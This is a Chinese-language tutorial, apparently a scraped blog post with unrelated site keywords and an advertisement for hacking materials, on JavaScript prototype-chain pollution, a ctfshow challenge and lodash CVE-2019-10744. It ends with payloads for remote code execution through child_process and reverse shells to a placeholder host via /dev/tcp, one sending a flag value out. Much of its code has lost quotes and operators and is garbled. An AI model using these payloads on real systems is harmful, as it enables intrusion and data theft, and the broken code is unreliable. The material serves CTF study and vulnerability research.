陕西交通建设集团蓝商分公司网站,域名注册平台有哪些,wordpress中文案例,科技制作网站1.JS原型和继承机制
0 原型及其搜索机制
NodeJS原型机制#xff0c;比较官方的定义#xff1a; 我们创建的每个函数都有一个 prototype#xff08;原型#xff09;属性#xff0c;这个属性是一个指针#xff0c;指向一个对象#xff0c; 而这个对象的用途是包含可…1.JS原型和继承机制
0 原型及其搜索机制
NodeJS原型机制比较官方的定义 我们创建的每个函数都有一个 prototype原型属性这个属性是一个指针指向一个对象 而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法 设计原型的初衷无非是对于每个实例对象其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性而这个属性的实体在内存中也仅仅只有一份。
而原型机制恰好满足这种需求。 打个不太恰当的比喻对于每个对象都有其原型对象作为共享仓库共享仓库中有属性和方法供生产每个对象实例时使用 1 原型链和继承
原型链 原型链是在原型上实现继承的一种形式 举个例子:
function Father(){this.name father;this.age 66;
}function Son(){this.name son;
}var father1 new Father();Son.prototype father1;var son1 new Son();console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);/*
Father { name: son }
Father { name: father, age: 66 }
{}
[Object: null prototype] {}
null
*/
整个的原型继承链如下 关于原型搜索机制
1搜索当前实例属性
2搜索当前实例的原型属性
3迭代搜索直至null
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 在上面的例子中 console.log(son1.name);
console.log(son1.age);
/*
son
66
*/2 内置对象的原型
这个也是多级原型链污染的基础 拿一张业内很经典的图来看看 2.姿势利用
1利用原型污染进行RCE
global.process.mainModule.constructor._load(child_process).execSync(calc)2多级污染
在ctfshow Web340中有这么一题
/* login.js */var user new function(){this.userinfo new function(){this.isVIP false;this.isAdmin false;this.isAuthor false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}由于Function原型对象的原型也是Object的原型即 user --(__proto__)-- Function.prototype --(__proto__)-- Object.prototype 那么就可以通过这个进行多级污染payload为如下形式
{__proto__:{__proto__:{attack_code}}
}3Lodash模块的原型链污染以lodash.defaultsDeepCVE-2019-10744为例进行CVE复现 lodash版本 4.17.12 CVE-2019-10744在低版本中的lodash.defaultDeep函数中Object对象可以被原型链污染从而可以配合其他漏洞。 看下官方样例PoC的调试过程
const lodash require(lodash);
const payload {constructor: {prototype: {whoami: hack}}}function check() {lodash.defaultsDeep({}, JSON.parse(payload));if (({})[whoami] hack) {console.log(Vulnerable to Prototype Pollution via ${payload});console.log(Object.prototype);}
}check();开始调试
在lodash中baseRest是一个辅助函数用于帮助创建一个接受可变数量参数的函数。所以主体逻辑为而这段匿名函数也将为func的函数的函数体
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);查看overRest
在变量监听中可以发现传入的参数整合成一个参数对象args 继续往下return apply 到apply后进入是个使用switch并且根据参数个数作为依据
发现使用了call这里可能是个进行原型链继承的可利用点。
(而这种技术称为借用构造函数其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)
function Super(){}
function Sub(){Super.call(this); // 继承
}然后apply中返回至刚才的匿名函数体中此时刚执行完baseRest(func),其中customDefaultMerge为merge的声明方式 继续深入由上可知apply(funcmergeWith,thisArgundefined,argsArray[4]) 基于start的计算机制不难得知undefined是作为占位符使得start向后移动 继续调试在NodeJS中普通函数中调用this等同于调用全局对象global 将assigner视为合并的一个黑盒函数即可至此完成原型链污染。 Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{}) 所以还是具体分析一下合并的过程(来看下assigner的一些底层实现) 注意通常而言合并需要考虑深浅拷贝的问题 /*baseMerge*/function baseMerge(object, source, srcIndex, customizer, stack) {if (object source) { // 优化判断是否为同一对象是则直接返回return;}// 遍历source的属性选择深浅复制baseFor(source, function(srcValue, key) {if (isObject(srcValue)) {stack || (stack new Stack);baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);}else {var newValue customizer? customizer(safeGet(object, key), srcValue, (key ), object, source, stack): undefined;if (newValue undefined) {newValue srcValue;}assignMergeValue(object, key, newValue);}}, keysIn);}var baseFor createBaseFor();function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历 return function(object, iteratee, keysFunc) {var index -1,iterable Object(object),props keysFunc(object),length props.length;while (length--) {var key props[fromRight ? length : index];if (iteratee(iterable[key], key, iterable) false) { // 这里的iteratee即为baseFor中的匿名函数break;}}return object;};}
那我就再调试一下在iteratee中即匿名函数中若为对象则选择深拷贝。 原来在4.17.12之前的版本也是有waf的只是比较弱。 回归正题在customizer之后便产生了合并 所以为了更好地观察我将{}替换成[](Array对象实例)
重新开始调试到此处并进入发现这是一个迭代合并的过程先判断是否都为对象。如果是的话则会进行压栈然后开始浅拷贝合并。 这是在生成属性时需要设置的四种数据属性 回归正题发现只能写入Array的原型 再验证一下
const lodash require(lodash);
const payload {constructor: {prototype: {whoami: hack}}}var object new Object();function check() {// JSON.parse(payload)之后是一个JS对象lodash.defaultsDeep([],JSON.parse(payload));if (({})[whoami] hack) {console.log(Vulnerable to Prototype Pollution via ${payload});console.log(Object.prototype);}
}check();console.log(Array.prototype);所以说需要直接传入一个Object的实例。 官方修复直接上waf检测JSON中的payload中的key值 此处对比一下lodash4.17.12之前的版本key值过滤得更为严格 总结一下CVE-2019-10744可用的payload # 反弹shell
{constructor:{prototype:
{outputFunctionName:a1;process.mainModule.require(child_process).exec(bash -c \echo $FLAG/dev/tcp/vps/port \)//}}}# RCE
// 对于某个object实例
{__proto__:{outputFunctionName:a1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag)//}}# 反弹shell
{__proto__:{outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(bash -c \bash -i /dev/tcp/vps/port 01\);var __tmp2}}